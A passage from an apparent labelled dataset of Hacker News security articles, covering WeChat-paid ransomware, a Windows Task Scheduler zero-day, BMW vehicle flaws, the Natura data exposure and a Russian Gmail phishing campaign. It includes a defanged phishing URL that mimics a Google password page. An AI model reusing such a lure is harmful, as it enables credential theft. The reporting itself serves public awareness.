Until this is done, users who are not sure if an app on their computers is safe should avoid unsecured Wi-Fi networks or, alternatively, use a Virtual Private Network (VPN).

In the meanwhile, if you get a prompt for an app update, rather than updating the app via the update window itself, simply visit the app's official website and download the latest version from there, just to make sure that you're downloading what you actually intend to.

",Vulnerability
"New Ransomware Spreading Rapidly in China Infected Over 100,000 PCs",https://thehackernews.com/2018/12/china-ransomware-wechat.html,"A new piece of ransomware is spreading rapidly across China that has already infected more than 100,000 computers in the last four days as a result of a supply-chain attack... and the number of infected users is continuously increasing every hour.

What's Interesting? Unlike almost every ransomware malware, the new virus doesn't demand ransom payments in Bitcoin.

Instead, the attacker is asking victims to pay 110 yuan (nearly USD 16) in ransom through WeChat Pay—the payment feature offered by China's most popular messaging app.
Ransomware + Password Stealer — Unlike WannaCry and NotPetya ransomware outbreaks that caused worldwide chaos last year, the new Chinese ransomware has been targeting only Chinese users.

It also includes an additional ability to steal users' account passwords for Alipay, NetEase 163 email service, Baidu Cloud Disk, Jingdong (JD.com), Taobao, Tmall , AliWangWang, and QQ websites.

A Supply Chain Attack — According to Chinese cybersecurity and anti-virus firm Velvet Security, attackers added malicious code into the ""EasyLanguage"" programming software used by a large number of application developers.

The maliciously modified programming software was designed to inject ransomware code into every application and software product compiled through it—another example of a software supply-chain attack to spread the virus rapidly.
More than 100,000 Chinese users who installed any of the above listed infected applications got their systems compromised. This ransomware encrypts all files on an infected system, except files with gif, exe, and tmp extensions.

Using Digital Signatures — To defend against Antivirus programs, the malware uses a program with valid signature to execute the virus code and also avoids encrypting data in some specific directories, like ""Tencent Games, League of Legends, tmp, rtl, and program.""

Once encrypted, the ransomware pops-up a note, asking users to pay 110 yuan to attackers' WeChat account within 3 days to receive the decryption key.
If not paid within displayed time, the malware threatens to delete the decryption key from its remote command-and-control server automatically.

Besides encrypting user files, the ransomware also silently steals users login credential for popular Chinese websites and social media accounts and send them to a remote server.

It also gathers system information including CPU model, screen resolution, network information and list of installed software.

Poor Ransomware Has Been Cracked — Chinese cybersecurity researchers found that the ransomware has poorly been programmed and attackers lied about the encryption process.

The ransomware note says users' files have been encrypted using DES encryption algorithm, but in reality, it encrypts data using a less secure XOR cipher and stores a copy of the decryption key locally on the victim's system itself in a folder at following location:

%user%\AppData\Roaming\unname_1989\dataFile\appCfg.cfg

Using this information, the Velvet security team created and released a free ransomware decryption tool that can easily unlock encrypted files for victims without requiring them to pay any ransom.

Researchers also managed to crack and access attackers' command-and-control and MySQL database servers, and found thousands of stolen credentials stored on them.

Who Is Behind This Ransomware Attack? — Using publicly available information, researchers have found a suspect, named ""Luo,"" who is a software programmer by profession and developed applications like ""lsy resource assistant"" and ""LSY classic alarm v1.1""

Lua's QQ account number, mobile number, Alipay ID and email IDs match with the information researchers collected by following the attacker's WeChat account.

After being notified of the threat, WeChat has also suspended the attackers account on its service that was being used to receive the ransom payments.

Velvet researchers have also informed Chinese law enforcement agencies with all available information for further investigation.



Chinese Hacker Behind WeChat Ransomware Arrested

UPDATE (06/12/2018) — Dongguan Police have arrested a 22-year-old Chinese man who has admitted his role in creating and spreading a new ransomware malware across China that has compromised over 100,000 computers in past five days, asking victims to pay ransom via WeChat payment service.

As explained in the article above, the hacker (whose name and identity was revealed by security researchers as Luo Moumou) didn't do much to clear his tracks, making it easier for authorities to track him down within 24 hours.
""After the trial, the suspect Luo Moumou confessed to the fact that he was making new ransomware to destroy the computer information system and using WeChat to pay for blackmail,"" Chinese media reported.
""According to his confession, in June 2018, Luo Moumou independently developed the virus 'cheat, which was used to steal the account password of others Alipay, and then steal funds through transfer.""
Moumou was arrested on December 5th from Maoming, a city located in southwestern Guangdong, China.
",Malware
"NSA & CIA Analysts Watching Porn, A Lot of Porn, More Than You Could Ever",https://thehackernews.com/2015/04/nsa-watching-porn_6.html,"U.S. National Security Agency (NSA) is infamous for conducting Global Mass Surveillance to snoop secretly on users' online communications, phone calls, private instant messages, and personal emails, but there is something shocking about it.

The Security Agency also asked its employees to watch Porn -- Yes! Porn and a lot of Porn.

The Analysts and Terrorism experts employed by U.S. Intelligence Agencies including the NSA and the CIA (Central Intelligence Agency) are tasked to watch graphic videos all day long.

According to the recent report by Daily Beast, the Graphic video contents containing ISIS prisoner beheading, attacks on U.S. military forces, and sometimes sexual abuse of children are gathered from the computers and smartphones of captured or killed terrorists, and from websites frequented visited by jihadists.

WHY NSA IS WATCHING PORN?
Islamic State (Isis) and Al-Qaeda terrorists are using Reddit, eBay and pornography to send coded messages to their followers.

Israeli Intelligence Agency noticed that Terrorists are using steganography technique to hide secret messages or content within an image or video file in order to keep their plans hidden from law enforcement and Intelligence agencies.

However, the cyber security experts and data forensic teams sitting at NSA and CIA examine these graphical images and porn videos in an effort to gain clues that could help them track down the perpetrators, rescue hostages, or stop terrorist attacks on countries.

The graphic videos believes to be retrieved by the NSA's Tailored Access Office (TAO) secret hacking unit, which works with CIA and FBI to develop and spread sophisticated computer spy software and network spy software worldwide to conduct automatic surveillance.

TAO Unit reportedly infected more than 50,000 computer networks worldwide with malware designed to steal sensitive information and, last year it was revealed that the unit had intercepted Microsoft Windows crash error reports, which gave them all kinds of information about your system.

NSA's PORN ROOM: ANALYSTS, PSYCHOLOGISTS, THERAPISTS
According to the Wall Street Journal, Thirty million Americans regularly watch porn online, and NSA employees are proudly one of them.
""It's mostly porn,"" a former intelligence officer, who worked on counterterrorism operations, told The Daily Beast. ""In another context, a dedicated 'porn room' might be the greatest office park imaginable. But watching hours of the stuff becomes monotonous.""
Checking every image and watching every second of the graphic video for a whole day long actually becomes difficult for some analysts, as the work can take an ""extraordinary toll"" on their emotional state of mind. And to cope up with this issue, the Intelligence agencies have employed specialist psychologists and therapists.

AT THE TIME WHEN NSA ENJOYED WATCHING NUDE PICS
Especially when it comes to pornography, we know that NSA employees enjoy watching and passing nude photographs of people in ""sexually compromising"" situations among other employees, former NSA contractor Edward Snowden revealed last year.

Also last year, an operation dubbed ""Optic Nerve"" showed the ugly face of the Intelligence agencies that allegedly captured and stored nude images and other sensitive data from webcam chats of nearly 1.8 Millions of unsuspecting Yahoo users, which was the great assault on users' privacy.

At the agencies, watching porn videos and other graphical material to figure out the content behind it is a part of job for the analysts.
Obviously, the graphical content may or may not contain the clues about terrorists, but they have to watch all of them, and this is what they are getting paid for.

NSA CHIEF DEFENDED U.S. SURVEILLANCE
These efforts by the security agencies to leave no stone unturned is the reason why the Chief of NSA, General Keith Alexander defended US surveillance programs as part of a Noble Mission to protect the nation against terrorist attacks.

No doubt, the analysts sometimes feel oppressed and become angry, but the agency claims that it ""deeply values the health and wellness of our [NSA & CIA] employees and provides a range of comprehensive services to address their needs.""

""The NSA has long offered psychological consultation and intervention services to support our employees' important work against today's increasingly complex global threats,"" NSA spokesperson Vanee Vines said in a statement.

TERRORISTS STARTED ADOPTING STRONG ENCRYPTION
However, keeping in mind the out datedness of Steganography technology, I do not think that terrorists are still using the technology to communicate, when they have so many end-to-end encrypted messaging apps readily available out there.

Last year, we also reported that the infamous terrorist group, Al-Qaeda, had started using strongest encryption techniques in order to bypass the standard cryptographic protections in its various communications.

So, it is hard to believe that after the revelation of NSA's mass surveillance programs by the agency's cyber security specialist Snowden, terrorists communicate via an outdated technology.

JOHN OLIVER INTERVIEW WITH SNOWDEN:- ABOUT ""DICK-PIC""
On Sunday's edition of Last Week Tonight, John Oliver interviewed NSA whistleblower Edward Snowden in Moscow.

The conversation went half serious, half humorous when Snowden was asked, ""Can the government secretly access Americans' naked selfies?""

Snowden said, Yes!

Oliver showed Snowden that when the New Yorkers were asked about Snowden and his work, they barely had an answer, which means most of the people in U.S. are actually not aware of NSA's surveillance program.

But, when the interviewer asked the New Yorkers about the government spying on their ""Dick Pics,"" they were far more concerned. However, Snowden says, ""The good news is there's no program named the Dick-Pic Program.""

",Malware
Windows 7 64 bit Memory Corruption Vulnerability,https://thehackernews.com/2011/12/windows-7-64-bit-memory-corruption.html,"Windows 7 64 bit Memory Corruption Vulnerability


A person known by the alias of ""w3bd3vil"" on twitter released an HTML snippet that will cause the 64 bit version of Windows 7 to blue screen if viewed under Safari. The underlying vulnerability is however not a flaw in Safari but rather a flaw in the Windows kernel mode device driver, win32k.sys.

""A vulnerability has been discovered in Microsoft Windows, which can be exploited by malicious people to potentially compromise a user's system. The vulnerability is caused due to an error in win32k.sys and can be exploited to corrupt memory via e.g. a specially crafted web page containing an IFRAME with an overly large ""height"" attribute viewed using the Apple Safari browser. Successful exploitation may allow execution of arbitrary code with kernel-mode privileges,"" the Secunia advisory said.

The possibility that the vulnerability can be exploited by using means other than Safari cannot be ruled out. According to webDEViL, the source of the vulnerability is the function NtGdiDrawStream. This could evolve either into a local privilege escalation issue or a remote code execution as admin problem. In particular if triggered by more popular browsers (Internet Explorer, Firefox, Chrome).

",Vulnerability
Mazafaka — Elite Hacking and Cybercrime Forum — Got Hacked!,https://thehackernews.com/2021/03/mazafaka-elite-hacking-and-cybercrime.html,"In what's a case of hackers getting hacked, a prominent underground online criminal forum by the name of Maza has been compromised by unknown attackers, making it the fourth forum to have been breached since the start of the year.
The intrusion is said to have occurred on March 3, with information about the forum members — including usernames, email addresses, and hashed passwords — publicly disclosed on a breach notification page put up by the attackers, stating ""Your data has been leaked"" and ""This forum has been hacked.""
""The announcement was accompanied by a PDF file allegedly containing a portion of forum user data. The file comprised more than 3,000 rows, containing usernames, partially obfuscated password hashes, email addresses and other contact details,"" cybersecurity firm Intel 471 said.
Originally called Mazafaka, Maza is an elite, invite-only Russian-language cybercrime forum known to be operational as early as 2003, acting as an exclusive online space for exploit actors to trade ransomware-as-a-service tools and conduct other forms of illicit cyber operations.
The development comes close on the heels of successful breaches of other forums, including that of Verified, Crdclub, and Exploit.
Verified is said to have been breached on January 20, 2021, with the actor behind the attack claiming access to the entire database on another popular forum called Raid Forums, besides transferring $150,000 worth of cryptocurrency from Verified's bitcoin wallet to their own. The forum, however, staged a return last month on February 18 with a change in ownership, according to Flashpoint.
Then again, in February, a cybercrime forum known as Crdclub disclosed an attack that resulted in the compromise of an administrator account with the goal of defrauding its members. No other personal information appears to have been plundered.
""By doing so, the actor behind the attack was able to lure forum customers to use a money transfer service that was allegedly vouched for by the forum's admins,"" Intel 471 said. ""That was a lie, and resulted in an unknown amount of money being diverted from the forum.""
Lastly, earlier this week, the Exploit cybercrime forum sustained an attack that involved an apparent compromise of a proxy server used for safeguarding the forum from distributed denial-of-service (DDoS) attacks.
Details are fuzzy as to the perpetrators of the attacks, with forum members speculating that it could be the work of a government intelligence agency, while also distressing over the possibility that their real-world identities could be exposed in the wake of the leaks.
Flashpoint researchers noted that the Russian sentences on the Maza forum's notification page were possibly translated using an online translator, but added it's unclear if this implies the involvement of a non-Russian speaking actor or if it was deliberately used to mislead attribution.
""While Intel 471 isn't aware of anyone claiming responsibility for the breaches, whomever is behind the actions has indirectly given researchers an advantage,"" the company concluded. ""Any information unearthed from the breaches aids in the fight against these criminals due to the added visibility it gives security teams who are tracking actors that populate these forums.""

",Cyber_Attack
Facebook Ticker partially Removed Due To Various Bugs,https://thehackernews.com/2011/12/facebook-ticker-partially-removed-due.html,"Facebook Ticker partially Removed Due To Various Bugs

According to a Post on Facebook Known Issues Page, Facebook has removed the ticker apparently motivated the social network to call the phenomenon a bug that's undergoing a fix.

Facebook says that ""Some people are seeing their ticker disappear. We are aware of this issue and are working to resolve it."". Comments explaining that people with less active accounts won't see the feature, Because when your friends aren't doing anything on the site, the ticker would only duplicate the news feed and not scroll, so there's no point in the feature taking up part of your screen.

Not even this, Last month a Brazilian (independent) Security and Behavior Research had analyzed a privacy issue in Facebook Ticker that allows any person chasing you without your knowledge or consent .How Facebook Ticker exposing your information and behavior without your knowledge. Meanwhile, the Known Issues on Facebook page posted that some people aren't seeing the ticker who should be, and that the site is working to fix this glitch and developers continues to refine the ticker, alternately testing labels for the feature along with shifting its location and size.

If you want to share more Ticker related Issues with us, Just Tweet us or Comment on Google+ Page.

",Vulnerability
"Airbus Suffers Data Breach, Some Employees' Data Exposed",https://thehackernews.com/2019/01/airbus-data-breach.html,"European airplane maker Airbus admitted yesterday a data breach of its ""Commercial Aircraft business"" information systems that allowed intruders to gain access to some of its employees' personal information.

Though the company did not elaborate on the nature of the hack, it claimed that the security breach did not affect its commercial operations. So, there's no impact on aircraft production.

Airbus confirmed that the attackers unauthorized accessed some data earlier this month, which the plane manufacturer claimed was ""mostly professional contact and IT identification details of some Airbus employees in Europe.""

""Investigations are ongoing to understand if any specific data was targeted; however we do know some personal data was accessed,"" Airbus said in its press release published on Wednesday.

After detecting the security breach, the plan manufacturer started an investigation to determine the origin of the hack and to understand the full scope of the data breach and if any specific data was targeted.

The company has begun taking ""immediate and appropriate actions to reinforce existing security measures,"" which were not enough to keep the hackers out of their systems, ""and to mitigate its potential impact"" so that it can prevent similar incidents from happening in the future.

The company has also instructed its employees to ""take all necessary precautions going forward,"" to strengthen their security defenses.

Airbus also said it was in contact with the relevant regulatory authorities and the data protection authorities pursuant to the European Union's new GDPR (General Data Protection Regulation) rules.

Airbus is the world's second-largest manufacturers of commercial airplanes, after Boeing which was also hit by a cyber attack (a variant of the infamous WannaCry ransomware) in March last year that ""affected a small number of systems"" with no impact on production.
",Cyber_Attack
PoC Exploit For Unpatched Windows 10 Zero-Day Flaw Published Online,https://thehackernews.com/2019/05/windows-zero-day-vulnerability.html,"An anonymous hacker with an online alias ""SandboxEscaper"" today released proof-of-concept (PoC) exploit code for a new zero-day vulnerability affecting Windows 10 operating system—that's his/her 5th publicly disclosed Windows zero-day exploit [1, 2, 3] in less than a year.

Published on GitHub, the new Windows 10 zero-day vulnerability is a privilege escalation issue that could allow a local attacker or malware to gain and run code with administrative system privileges on the targeted machines, eventually allowing the attacker to gain full control of the machine.

The vulnerability resides in Task Scheduler, a utility that enables Windows users to schedule the launch of programs or scripts at a predefined time or after specified time intervals.

SandboxEscaper's exploit code makes use of SchRpcRegisterTask, a method in Task Scheduler to register tasks with the server, which doesn't properly check for permissions and can, therefore, be used to set an arbitrary DACL (discretionary access control list) permission.

""This will result in a call to the following RPC ""_SchRpcRegisterTask,"" which is exposed by the task scheduler service,"" SandboxEscaper said.

A malicious program or a low-privileged attacker can run a malformed .job file to obtain SYSTEM privileges, eventually allowing the attacker to gain full access to the targeted system.
SandboxEscaper also shared a proof-of-concept video showing the new Windows zero-day exploit in action.

The vulnerability has been tested and confirmed to be successfully working on a fully patched and updated version of Windows 10, 32-bit and 64-bit, as well as Windows Server 2016 and 2019.

More Windows Zero-Day Exploits to Come

Besides this, the hacker also teased that he/she still has 4 more undisclosed zero-day bugs in Windows, three of which leads to local privilege escalation and fourth one lets attackers bypass sandbox security.

The details and exploit code for the new Windows zero-day came just a week after Microsoft monthly patch updates, which means no patch exists for this vulnerability at the current, allowing anyone to exploit and abuse.

Windows 10 users need to wait for a security fix for this vulnerability until Microsoft's next month security updates—unless the company comes up with an emergency update.

",Vulnerability
Hack'em If You Can — U.S. Air Force launches Bug Bounty Program,https://thehackernews.com/2017/04/hack-the-air-force.html,"With the growing number of data breaches and cyber attacks, a significant number of companies and organizations have started Bug Bounty programs for encouraging hackers and bug hunters to find and responsibly report vulnerabilities in their services and get rewarded.

Now, following the success of the ""Hack the Pentagon"" and ""Hack the Army"" initiatives, the United States Department of Defense (DoD) has announced the launch of the ""Hack the Air Force"" bug bounty program.

Hacking or breaking into Defense Department networks was illegal once, but after ""Hack the Pentagon"" initiative, the DoD started rewarding outsiders to finding and reporting weaknesses in its private networks.
""This is the first time the AF [Air Force] has opened up...networks to such a broad scrutiny,"" Peter Kim, the Air Force Chief Information Security Officer said in a statement. ""We have malicious hackers trying to get into our systems every day.""

""It'll be nice to have friendly hackers taking a shot and, most importantly, showing us how to improve our cyber security and defense posture. The additional participation from our partner nations greatly widens the variety of experience available to find additional unique vulnerabilities.""
The ""Hack the Air Force"" program is directed by HackerOne, the bug bounty startup that was behind Hack the Pentagon, and Luta Security, the security consulting company driving the U.K. program.

Hackers From The Five Eyes Nations Are Invited

This program will be the DoD's largest bug bounty project as it invites experts and white hat hackers not only from the United States, but also from remaining Five Eyes countries: the United Kingdom, Canada, Australia and New Zealand.

So, only Hackers and bug hunters from the Five Eyes intelligence alliance are eligible to participate in Hack the Air Force.
""This outside approach – drawing on the talent and expertise of our citizens and partner nation citizens – in identifying our security vulnerabilities will help bolster our cyber security,"" said Air Force Chief of Staff Gen. David L. Goldfein.

""We already aggressively conduct exercises and 'red team' our public facing and critical websites. But this next step throws open the doors and brings additional talent onto our cyber team.""

Only Vetted Hackers Can Participate

Only ""Vetted Hackers"" can participate in Hack the Air Force program, which means the candidates must pass a rigorous background test after registration and have a clean criminal record in order to participate in the program.

However, according to some critics, this process excludes many talented hackers and bug hunters, but this is one of the common conditions across all of the Pentagon's bug bounty programs.

Registration for ""Hack the Air Force"" will start on May 15 and interested participants should register through HackerOne. The contest will launch on May 30 and last until June 23.

The first DoD bug bounty program, ""Hack the Pentagon,"" came in April 2016, in which over 14,000 participating hackers found 138 vulnerabilities in DoD systems and were awarded over $75,000 in bounties.

Just like Bug Bounty programs offered by several Frontliners in the technology industry, Hack the Air Force is also an exercise for the federal authorities to boost up their security measures and counter the cyber attacks.

",Cyber_Attack
Yahoo Ad Network abused to redirect users to malicious websites serving Magnitude Exploit Kit,https://thehackernews.com/2014/01/yahoo-ad-network-abused-to-redirect.html,"Internet advertisement networks provide hackers with an effective venue for targeting wide range computers through malicious advertisements. Previously it was reported by some security researchers that Yahoo's online advertising Network is one of the top ad networks were being abused to spread malware by cyber criminals.

Recent report published by Fox-IT, Hackers are using Yahoo's advertising servers to distribute malware to hundreds of thousands of users since late last month that affecting thousands of users in various countries.
""Clients visiting yahoo.com received advertisements served by ads.yahoo.com. Some of the advertisements are malicious,"" the firm reported.

More than 300,000 users per hour were being redirected to malicious websites serving 'Magnitude Exploit Kit', that exploits vulnerabilities in Java and installs a variety of different malware i.e.
ZeuS
Andromeda
Dorkbot/Ngrbot
Advertisement clicking malware
Tinba/Zusy
Necurs
""It is unclear which specific group is behind this attack, but the attackers are clearly financially motivated,""
According to the researchers, approximate 9% users of total visits per hour i.e. 27,000 users per hour, were being infected.
Based on the same sample, the countries most affected by the exploit kit are Romania, Great Brittain and France. At this time it's unclear why those countries are most affected, it is likely due to the configuration of the malicious advertisements on Yahoo.
Mark Loman, a security researcher and developer of the Hitman Pro anti-malware software, also confirmed the issue on Twitter.
The Yahoo Security team also confirmed the presence of malware on its servers and said it had taken steps to combat the issue. ""We recently identified an ad designed to spread malware to some of our users,"" Yahoo said in a statement. ""We immediately removed it and will continue to monitor and block any ads being used for this activity.""

To protect yourself, you can use ""Adblock"" extension for Firefox, Safari and Chrome browsers that can block advertisements on webpage.

",Malware
Chinese Hackers Find Over a Dozen Vulnerabilities in BMW Cars,https://thehackernews.com/2018/05/bmw-smart-car-hacking.html,"Chinese security researchers have discovered more than a dozen vulnerabilities in the onboard compute units of BMW cars, some of which can be exploited remotely to compromise a vehicle.

The security flaws have been discovered during a year-long security audit conducted by researchers from Keen Security Lab, a cybersecurity research unit of Chinese firm Tencent, between January 2017 and February 2018.

In March 2018, the team responsibly disclosed 14 different vulnerabilities directly to the BMW Group, which affects its vehicles since at least 2012.

These are the same group of researchers who have previously found multiple vulnerabilities in various in-car modules used by Tesla, that could have been exploited to achieve remote controls on a target car.

Now that BMW started rolling out patches for the vulnerabilities to car owners, the researchers have gone public with a 26-page technical report [PDF] describing their findings, though they avoided publishing some important technical details to prevent abuse.

The researchers said a full copy of their research is expected to appear sometime in early 2019, by which the BMW group entirely mitigates against the vulnerabilities.

The team of Chinese infosec researchers focused on three critical vehicular components—Infotainment System (or Head Unit), Telematics Control Unit (TCU or T-Box), and Central Gateway Module in several BMW models.
Here's the list of flaws uncovered by the researchers:

8 flaws impact the internet-connected Infotainment System that plays music and media
4 flaws affect the Telematics Control Unit (TCU) that provides telephony services, accident assistance services, and ability to lock/unlock the car doors remotely.
2 flaws affect the Central Gateway Module that has been designed to receive diagnostic messages from the TCU and the infotainment unit and then transfer them to other Electronic Control Units (ECUs) on different CAN buses.

Exploiting these vulnerabilities could allow attackers to send arbitrary diagnostic messages to the target vehicle's engine control unit (ECU), which control electrical functions of the car, and to the CAN bus, which is the spinal cord of the vehicle.

This would eventually allow miscreants to take complete control over the operation of the affected vehicle to some extent.
Four flaws require a physical USB access or access to the ODB (On-board diagnostics) port, which means attackers need to be inside your vehicle to exploit them by plugging a malware-laden gadget into the USB port.

Another four vulnerabilities require physical or ""indirect"" physical access to the car.

However, six vulnerabilities can be exploited remotely to compromise vehicle functions, including one conducted over a short range via Bluetooth or over long range via cellular networks, even when the vehicle is being driven.

The team confirmed that the vulnerabilities existed in Head Unit would affect several BMW models, including BMW i Series, BMW X Series, BMW 3 Series, BMW 5 Series, BMW 7 Series.

However, researchers said the vulnerabilities uncovered in Telematics Control Unit (TCB) would affect ""BMW models which equipped with this module produced from the year 2012.""

BMW has confirmed the findings and already started rolling out over-the-air updates to fix some bugs in the TCU, but other flaws will need patches through the dealers, which is why the researchers have scheduled their full technical report to March 2019.

BMW also rewarded Keen Security Lab researchers with the first winner of the BMW Group Digitalization and IT Research Award, describing their research ""by far the most comprehensive and complex testing ever conducted on BMW Group vehicles by a third party.""

",Vulnerability
Brazil's Biggest Cosmetic Brand Natura Exposes Personal Details of Its Users,https://thehackernews.com/2020/05/natura-data-breach.html,"Brazil's biggest cosmetics company Natura accidentally left hundreds of gigabytes of its customers' personal and payment-related information publicly accessible online that could have been accessed by anyone without authentication.

SafetyDetective researcher Anurag Sen last month discovered two unprotected Amazon-hosted servers—with 272GB and 1.3TB in size—belonging to Natura that consisted of more than 192 million records.

According to the report Anurag shared with The Hacker News, the exposed data includes personally identifiable information on 250,000 Natura customers, their account login cookies, along with the archives containing logs from the servers and users.

Worryingly, the leaked information also includes Moip payment account details with access tokens for nearly 40,000 wirecard.com.br users who integrated it with their Natura accounts.

""Around 90% of users were Brazilian customers, although other nationalities were also present, including customers from Peru,"" Anurag said.

""The compromised server contained website and mobile site API logs, thereby exposing all production server information. Furthermore, several 'Amazon bucket names' were mentioned in the leak, including PDF documents referring to formal agreements between various parties,"" Anurag said.


More precisely, the leaked sensitive personal information of customers includes their:

Full name
Mother's maiden name
Date of Birth
Nationality
Gender
Hashed login passwords with salts
Username and nickname
MOIP account details
API credentials with unencrypted passwords
Recent purchases
Telephone number
Email and physical addresses
Access token for wirecard.com.br

Besides this, the unprotected server also had a secret .pem certificate file that contains the key/password to the EC2 Amazon server where Natura website is hosted.

If exploited, the key to the server potentially could have allowed attackers to directly inject a digital skimmer directly into the company's official website to steal users' payment card details in real-time.

""Exposed details about the backend, as well as keys to servers, could be leveraged to conduct further attacks and allow deeper penetration into existing systems,"" the researcher warned.

SafetyDetective tried reporting its researcher's findings directly to the affected company last month but failed to receive any response on time, after which it contacted Amazon services, who then asked the company to secure both the servers immediately.

At the time of writing, it's unknown if the unprotected servers and the sensitive data stored on them were also accessed by a malicious actor before they went offline.

So, if you have an account with Natura, you are advised to stay vigilant against identity theft, change your account password and keep a close eye on your payment card transactions for signs of any suspicious activity.

""Instances of personally identifiable information being exposed could potentially lead to identity theft and fraud since they can be used by attackers for identification in various sites and locations,"" the researcher added. ""The risk of phishing and phone scams is also raised by the Natura data leak.""
",Data_Breaches
Russian Hackers Made 'Tainted Leaks' a Thing — Phishing to Propaganda,https://thehackernews.com/2017/05/hackers-tainted-leaks.html,"We came across so many revelations of sensitive government and corporate data on the Internet these days, but what's the accuracy of that information leaked by unknown actors?

Security researchers have discovered new evidence of one such sophisticated global espionage and disinformation campaign with suspected ties to the Russian government that's been aimed to discredit enemies of the state.

Although there is no definitive proof of Russian government's involvement in the campaign, there is ""overlap"" with previously reported cyber espionage activities tied to a Russia-backed hacking group well known as APT28.

APT28 — also known as Fancy Bear, Sofacy, Sednit, and Pawn Storm — is the same group which was responsible for the Democratic National Committee (DNC) breach. The group has been operating since at least 2007 and has alleged tied to the Russian government.

A new report, titled Tainted Leaks, published this week by the Citizen Lab at the University of Toronto's Munk School of Global Affairs gives a new view on how Russian state-sponsored hackers targeted over 200 Gmail users, including journalists, activists critical of the Kremlin and those connected with the Ukrainian military to steal sensitive emails from their accounts.

The hackers then manipulate those stolen emails before being published on the Internet, planting disinformation alongside legitimate leaks.
""It provides evidence of how documents stolen from a prominent journalist and critic of Russia was tampered with and then ""leaked"" to achieve specific propaganda aims,"" the researchers wrote.
Citizen Lab researchers said that the hackers abused Google's own services and used phishing emails to steal Gmail credentials from 218 targets across 39 countries, including former US defense officials, a former Russian prime minister, and Ukrainian military official.

Researchers detected the campaign in October 2016, but the attacks were going on for several months before that.

Phishing Attack Abuses Google's Own Service
The attackers sent phishing emails that looked almost identical to the security warnings from Google, alerting victims that someone had obtained their passwords and that they should change it right away.

But, as soon as the victims visited the link and entered their login details, the hackers gained access to their accounts.

The phishing link was convincing to trick victims into handing over their credentials to the attackers because the campaign was abusing Google AMP's open redirect and short URL service in combination to hide their phishing pages.
https://www.google.com/amp/tiny.cc/(redacted)
Which redirects to:
hxxp://myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin.id833[.]ga/security/signinoptions/password
The above landing URL looks like a Google's password-reset page, which captures users credentials as soon as it is entered.
""After highlighting the similarities between this campaign and those documented by previous research, we round out the picture on Russia-linked operations by showing how related campaigns that attracted recent media attention for operations during the 2016 United States presidential election also targeted journalists, opposition groups, and civil society,"" Citizen Lab wrote.
Citizen Lab researchers able to identify the campaign after analyzing two phishing emails sent to David Satter, an American journalist and Kremlin critic, and who has been banned from the country in 2014.

Connection with DNC and French President Leak

According to the security firm, the approach and techniques used in the campaign appear similar to the hacking attempts that hit Hillary Clinton presidential campaign chairman John Podesta last year and the recent one that targeted French President Emmanuel Macron.
""In the 2017 French presidential election, tainted leaks appear to have been used in an attempt to discredit the political party and candidate for election directly,"" the researchers said.
US intelligence officials have previously discovered that Russian government was behind the attacks on Podesta and other Democratic officials. Now, Citizen Lab said Russian government was behind the recent phishing campaign and subsequent manipulation of Satter's e-mail.

Besides Satter, the same phishing campaign also targeted 218 other individuals, including politicians and other government officials, members of cabinets from Europe and Eurasia, journalists, academics, CEOs of energy and mining companies, UN officials, and high-ranking military personnel from more than a dozen countries, including the United States and NATO.

Tainted Leaks: A New Threat

CyberBerkut, a self-described pro-Russian group, published some of the documents obtained from Satter email accounts, one of which was so much manipulated that it made Satter appeared to be paying Russian journalists and activists to post articles critical of the Russian government, which would subsequently be published by several media outlets.
""Tainted leaks are a growing and particularly troublesome addition to disinformation tactics, and in the current digital environment are likely to become more prevalent,"" the Citizen Lab researchers concluded.
""Tainted leaks—fakes in a forest of facts—test the limits of how media, citizen journalism, and social media users handle fact checking, and the amplification of enticing, but questionable information.""
So next time, when you came across any widespread data leak, just do not trust it blindly before the authenticity of those leaked documents is not proved.

",Cyber_Attack
CVE-2014-0322: Internet Explorer zero-day exploit targets US Military Intelligence,https://thehackernews.com/2014/02/cve-2014-0322-internet-explorer-zero.html,"Hackers are using a zero day vulnerability in Microsoft's Internet Explorer (IE) web browser and targeting US military personnels in an active attack campaign, dubbed as 'Operation Snowman'.

FireEye Researchers have discovered that a U.S. veterans website was compromised to serve a zero day exploit, known as CVE-2014-0322, which typically involves the compromise of a specific website in order to target a group of visitors known to frequent it.

FireEye identified drive-by-download attack which has altered HTML code of the website and introduced JavaScript which creates malicious iFrame.

""A zero-day exploit (CVE-2014-0322) being served up from the U.S. Veterans of Foreign Wars' website (VFW[.]org). We believe the attack is a strategic Web compromise targeting American military personnel, amid a paralyzing snowstorm at the U.S.""

According to FireEye, the zero day CVE-2014-0322 'vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10. The vulnerability allows the attacker to modify one byte of memory at an arbitrary address.'

Dropped files are digitally signed making it look like a legitimate application and the vulnerability ultimately allowed them to bypass address space layout randomization (ASLR) by accessing the memory from Flash ActionScript.

But the exploitation can be migrated if the user is browsing with a different version of IE or has installed Microsoft's Experience Mitigation Toolkit (EMET).

""Based on the overlaps and trade craft similarities, it is believed that the actors behind the campaigns are associated with two previously identified campaigns, Operation Deputy Dog and Operation Ephermeral Hydra, which had previously targeted a number of different industries,"" FireEye said.

A Microsoft spokesperson confirmed - ""Our initial investigation has revealed that Internet Explorer 9 and Internet Explorer 10 are affected"".

",Vulnerability
Vulnerability in WhatsApp allows decrypting user messages,https://thehackernews.com/2013/10/vulnerability-in-whatsapp-allows.html,"A serious vulnerability in WhatsApp allows anyone who is able to eavesdrop on WhatsApp connection to decrypt users' messages.

Whatsapp, the mobile application for instant messaging platform has become one of the main communication tools of the present day and its popularity makes it attractive for security researchers and hackers.

This time it is debated in the protection of the messages exchanged through the application, thanks to a vulnerability in the crypto implementation they can be intercepted by an attacker.

Thijs Alkemade is a computer science student at Utrecht University in The Netherlands who works on the open source Adium instant messaging project, during its research activity he disclosed a serious issue in the encryption used to secure WhatsApp messages.

In the post titled ""Piercing Through WhatsApp's Encryption"" Alkemade remarked that Whatsapp has been plagued by numerous security issues recently, easily stolen passwords, unencrypted messages and even a website that can change anyone's status.
""You should assume that anyone who is able to eavesdrop on your WhatsApp connection is capable of decrypting your messages, given enough effort. You should consider all your previous WhatsApp conversations compromised. There is nothing a WhatsApp user can do about this but expect to stop using it until the developers can update it."" states the researcher.

An attacker sniffing a WhatsApp conversation is able to recover most of the plaintext bytes sent, WhatsApp uses RC4 software stream cipher to generate a stream of bytes that are encrypted with the XOR additive cipher.
The mistakes are:
The same encryption key in both directions
The same HMAC key in both directions
Below the trick used by the researcher to reveal the messages sent with WhatsApp exploiting first issue:

